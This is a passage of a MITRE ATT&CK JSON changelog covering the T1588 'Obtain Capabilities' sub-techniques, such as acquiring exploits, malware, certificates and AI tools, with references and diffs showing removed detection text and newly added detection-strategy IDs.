entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588", + "external_id": "T1588" + }, + { + "source_name": "PegasusCitizenLab", + "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", + "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" + }, + { + "source_name": "DiginotarCompromise", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + }, + { + "source_name": "NationsBuying", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Malware Repository: Malware Metadata\", \"Internet Scan: Response Content\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.545000+00:00\", \"old_value\": \"2025-04-15 22:54:16.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n-\\n-Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)", + "DS0035: Internet Scan (Response Content)", + "DS0037: Certificate (Certificate Registration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0850: Detection of Obtain Capabilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-11 13:37:31.836000+00:00", + "modified": "2025-10-24 17:48:23.190000+00:00", + "name": "Artificial Intelligence", + "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/007", + "external_id": "T1588.007" + }, + { + "source_name": "WSJ-Vishing-AI24", + "description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.", + "url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402" + }, + { + "source_name": "Google-Vishing24", + "description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks" + }, + { + "source_name": "IC3-AI24", + "description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.", + "url": "https://www.ic3.gov/PSA/2024/PSA241203" + }, + { + "source_name": "MSFT-AI", + "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/" + }, + { + "source_name": "OpenAI-CTI", + "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.", + "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.190000+00:00\", \"old_value\": \"2025-04-15 19:58:05.447000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0842: Detection of Artificial Intelligence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:11:47.237000+00:00", + "modified": "2025-10-24 17:49:32.891000+00:00", + "name": "Code Signing Certificates", + "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/003", + "external_id": "T1588.003" + }, + { + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", + "url": "https://en.wikipedia.org/wiki/Code_signing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.891000+00:00\", \"old_value\": \"2025-04-15 22:05:19.685000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0875: Detection of Code Signing Certificates" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:14:18.044000+00:00", + "modified": "2025-10-24 17:48:27.525000+00:00", + "name": "Digital Certificates", + "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/004", + "external_id": "T1588.004" + }, + { + "source_name": "DiginotarCompromise", + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "Let's Encrypt FAQ", + "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.", + "url": "https://letsencrypt.org/docs/faq/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.525000+00:00\", \"old_value\": \"2025-04-15 22:18:17.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0037: Certificate (Certificate Registration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0848: Detection of Digital Certificates" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:17:46.086000+00:00", + "modified": "2025-10-24 17:49:36.851000+00:00", + "name": "Exploits", + "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/005", + "external_id": "T1588.005" + }, + { + "source_name": "PegasusCitizenLab", + "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", + "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + }, + { + "source_name": "NationsBuying", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html" + }, + { + "source_name": "Exploit Database", + "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.", + "url": "https://www.exploit-db.com/" + }, + { + "source_name": "TempertonDarkHotel", + "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.", + "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage" + }, + { + "source_name": "Wired SandCat Oct 2019", + "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.", + "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.851000+00:00\", \"old_value\": \"2025-04-15 22:34:05.500000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0827: Detection of Exploits" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:06:11.499000+00:00", + "modified": "2025-10-24 17:48:58.766000+00:00", + "name": "Malware", + "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/001", + "external_id": "T1588.001" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.766000+00:00\", \"old_value\": \"2025-04-15 22:47:58.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Content)", + "DS0004: Malware Repository (Malware Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0845: Detection of Malware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-15 02:59:38.628000+00:00", + "modified": "2025-10-24 17:48:34.033000+00:00", + "name": "Vulnerabilities", + "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + 